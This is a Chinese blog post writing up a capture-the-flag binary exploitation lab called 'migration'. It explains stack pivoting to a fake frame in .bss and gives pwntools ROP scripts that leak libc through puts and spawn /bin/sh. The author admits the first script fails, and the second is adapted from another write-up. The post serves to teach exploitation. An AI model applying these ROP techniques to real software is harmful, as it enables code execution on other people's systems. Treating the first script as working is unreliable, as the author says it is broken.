1.28第六条咸鱼

2019-01-30  本文已影响0人  好大一只免孑

lab6 | | migration |

基本上是知识盲区
令人头秃

图片.png

这道题是这样的
通过

if ( count != 1337 )
    exit(1);

限制了我们只能利用一次main函数的溢出(直接控制main返回到exit后的话,程序的栈结构会乱掉)
而buf一共28h也就是40字节,read可读进去的是40h也就是64字节,除去覆盖ebp的四个字节,真正能用的实际上只有20字节。然而20字节肯定不够的。
所以我们需要一个骚操作叫做构造假栈帧

原理是,通过溢出,去执行一次read函数,把我们要接下来执行的rop链写到bss的某个地址里去(可以根据用readelf 命令去查一下bss的哪个地方有执行的权力),接着构造假的ebp,让ebp跳转到bss的某个地址中,从而让计算机把那个地址当成栈帧,达到构造假栈帧的目的。(大佬的博客里这么教我的

然后我们这里需要一个leave_ret

图片.png

然后还需要两块bss段 一个用来写rop2 一个用来写\bin\sh

这里放一个比较简单的结构,大概思路是这样:

rop1=[
puts,
pop_ebx_ret,
libc_start_main_got,
gets,
pop_ebx_ret,
buf2,
pop_ebx_ret,
buf2-4,(-4是因为leave中有一个pop ebp语句,所以-4再pop才能跳转去执行rop2)
leave_ret
]

buf2中用来放rop2
rop2构造就可以这样

rop2=[
gets,
system,
buf1,
buf1
]
buf1里面是('/bin/sh')

from pwn import *
#context.log_level='debug'

sh= process('./migration')
r=ELF('./migration')
libc=ELF('/lib32/libc.so.6')

libc_start_main_got=r.got['__libc_start_main']
libc_start_off=libc.symbols['__libc_start_main']
puts_got=r.got['puts']

puts_adr=r.symbols['puts']
read_adr=r.symbols['read']

puts_off=libc.symbols['puts']
system_off=libc.symbols['system']
gets_off=libc.symbols['gets']

pop_ebx_ret=0x0804836d
pop3_ret=0x08048569
leave_ret=0x08048418
buf1 = r.bss() + 0x500 
buf2 = r.bss() + 0x400 

p1='a'*44
p1+=p32(puts_adr)+p32(pop_ebx_ret)+p32(puts_got)
p1+=p32(read_adr)+p32(pop3_ret)+p32(0)+p32(buf2)+p32(0x100)
p1+=p32(pop_ebx_ret)+p32(buf2-4)+p32(leave_ret)

sh.recvuntil("Try your best :")
sh.send(p1)
sleep(0.1)
sh.recvuntil('\n')


libc_base=u32(sh.recv(4))-puts_off
print (hex(libc_base))

gets=gets_off+libc_base
system=libc_base+system_off
p2=p32(system)+p32(gets)+p32(buf1)+p32(buf1)

sh.send(p2)
sh.send("/bin/sh\0")
sh.interactive()

emmmmmm有点问题
之后改

ok我调不出来
我认输

这个wp比较好
https://blog.csdn.net/zszcr/article/details/79841848

from pwn import *
# context.log_level='debug'

sh= process('./migration')
r=ELF('./migration')
libc=ELF('/lib32/libc.so.6')

puts_got=r.got['puts']

puts_adr=r.symbols['puts']
read_adr=r.symbols['read']

puts_off=libc.symbols['puts']
system_off=libc.symbols['system']
gets_off=libc.symbols['gets']

pop_ebx_ret=0x0804836d
pop3_ret=0x08048569
leave_ret=0x08048418
buf1 = r.bss() + 0x500 
buf2 = r.bss() + 0x400 

sh.recvuntil("Try your best :")
p='a'*40+p32(buf2)
p+=p32(read_adr)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
sh.send(p)

p1=p32(buf1)+p32(puts_adr)+p32(pop_ebx_ret)+p32(puts_got)
p1+=p32(read_adr)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)

sh.send(p1)
sleep(0.1)
sh.recvuntil('\n')

libc_base=u32(sh.recv(4))-puts_off
print (hex(libc_base))

gets=gets_off+libc_base
system=libc_base+system_off
p2='aaaa'+p32(gets)+p32(system)+p32(buf2)+p32(buf2)

sh.send(p2)
sh.sendline("/bin/sh\0")
sh.interactive()

图片.png
上一篇 下一篇

猜你喜欢

热点阅读